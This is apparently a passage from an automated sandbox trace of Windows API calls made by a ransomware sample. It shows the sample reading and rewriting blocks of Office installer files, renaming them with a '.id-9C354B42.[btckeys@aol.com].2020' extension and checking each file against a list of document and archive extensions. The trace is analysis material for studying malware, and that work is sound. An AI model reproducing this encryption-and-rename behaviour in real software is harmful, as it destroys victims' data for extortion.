"c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.511] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0079.512] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.512] ReadFile (in: hFile=0x204, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.517] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.517] ReadFile (in: hFile=0x204, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0079.523] ReadFile (in: hFile=0x204, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.703] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.703] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0080.091] SetEndOfFile (hFile=0x204) returned 1 [0080.091] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0080.091] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.091] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.093] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.093] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.096] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0080.096] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.098] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0080.098] CloseHandle (hObject=0x204) returned 1 [0080.099] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0080.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.099] lstrlenW (lpString=".doc") returned 4 [0080.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.099] lstrlenW (lpString=".docx") returned 5 [0080.099] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0080.099] lstrlenW (lpString=".pdf") returned 4 [0080.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.099] lstrlenW (lpString=".xls") returned 4 [0080.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.099] lstrlenW (lpString=".xlsx") returned 5 [0080.099] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0080.099] lstrlenW (lpString=".ppt") returned 4 [0080.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.099] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.099] lstrlenW (lpString=".zip") returned 4 [0080.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.099] lstrlenW (lpString=".rar") returned 4 [0080.100] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.100] lstrlenW (lpString=".bz2") returned 4 [0080.100] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.100] lstrlenW (lpString=".7z") returned 3 [0080.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.100] lstrlenW (lpString=".dbf") returned 4 [0080.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.100] lstrlenW (lpString=".1cd") returned 4 [0080.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.100] lstrlenW (lpString=".jpg") returned 4 [0080.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.100] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.100] lstrlenW (lpString=".doc") returned 4 [0080.100] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.100] lstrlenW (lpString=".docx") returned 5 [0080.100] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0080.100] lstrlenW (lpString=".pdf") returned 4 [0080.100] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.100] lstrlenW (lpString=".xls") returned 4 [0080.100] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.100] lstrlenW (lpString=".xlsx") returned 5 [0080.100] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0080.101] lstrlenW (lpString=".ppt") returned 4 [0080.101] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.101] lstrlenW (lpString=".zip") returned 4 [0080.101] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.101] lstrlenW (lpString=".rar") returned 4 [0080.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.101] lstrlenW (lpString=".bz2") returned 4 [0080.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.101] lstrlenW (lpString=".7z") returned 3 [0080.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.101] lstrlenW (lpString=".dbf") returned 4 [0080.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.101] lstrlenW (lpString=".1cd") returned 4 [0080.101] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.101] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0080.101] lstrlenW (lpString=".jpg") returned 4 [0080.101] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.101] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0080.101] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0080.102] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0080.471] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=10798080) returned 1 [0080.471] CloseHandle (hObject=0x1dc) returned 1 [0080.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0080.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.471] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0080.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0080.472] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0080.472] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0080.472] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.775] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0080.775] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.886] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0080.886] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0080.886] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.971] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.971] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0081.292] SetEndOfFile (hFile=0x1dc) returned 1 [0081.292] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0081.476] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0081.476] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.477] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0081.477] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.480] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0081.480] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0081.487] CloseHandle (hObject=0x1dc) returned 1 [0081.487] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.487] lstrlenW (lpString=".doc") returned 4 [0081.487] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.487] lstrlenW (lpString=".docx") returned 5 [0081.487] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0081.488] lstrlenW (lpString=".pdf") returned 4 [0081.488] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.488] lstrlenW (lpString=".xls") returned 4 [0081.488] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.488] lstrlenW (lpString=".xlsx") returned 5 [0081.488] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0081.488] lstrlenW (lpString=".ppt") returned 4 [0081.488] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.488] lstrlenW (lpString=".zip") returned 4 [0081.488] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.488] lstrlenW (lpString=".rar") returned 4 [0081.488] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.488] lstrlenW (lpString=".bz2") returned 4 [0081.488] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.488] lstrlenW (lpString=".7z") returned 3 [0081.488] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.488] lstrlenW (lpString=".dbf") returned 4 [0081.488] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.488] lstrlenW (lpString=".1cd") returned 4 [0081.488] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.488] lstrlenW (lpString=".jpg") returned 4 [0081.488] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.489] lstrlenW (lpString=".doc") returned 4 [0081.489] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.489] lstrlenW (lpString=".docx") returned 5 [0081.489] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0081.489] lstrlenW (lpString=".pdf") returned 4 [0081.489] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.489] lstrlenW (lpString=".xls") returned 4 [0081.489] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.489] lstrlenW (lpString=".xlsx") returned 5 [0081.489] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0081.489] lstrlenW (lpString=".ppt") returned 4 [0081.489] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.489] lstrlenW (lpString=".zip") returned 4 [0081.489] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.489] lstrlenW (lpString=".rar") returned 4 [0081.489] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.489] lstrlenW (lpString=".bz2") returned 4 [0081.489] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.489] lstrlenW (lpString=".7z") returned 3 [0081.489] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.489] lstrlenW (lpString=".dbf") returned 4 [0081.489] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.489] lstrlenW (lpString=".1cd") returned 4 [0081.489] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.489] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0081.490] lstrlenW (lpString=".jpg") returned 4 [0081.490] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.490] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0081.490] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0081.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0081.491] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=36233052) returned 1 [0081.491] CloseHandle (hObject=0x1dc) returned 1 [0081.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0081.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.491] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0081.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0081.492] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0081.492] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0081.492] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.531] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0081.531] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.602] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0081.602] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0081.602] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.991] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.991] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0082.003] SetEndOfFile (hFile=0x1dc) returned 1 [0082.004] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0082.007] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0082.007] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.008] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0082.008] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.009] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0082.009] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.011] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0082.011] CloseHandle (hObject=0x1dc) returned 1 [0082.011] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0082.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.012] lstrlenW (lpString=".doc") returned 4 [0082.012] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString=".docx") returned 5 [0082.012] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0082.012] lstrlenW (lpString=".pdf") returned 4 [0082.012] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString=".xls") returned 4 [0082.012] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0082.012] 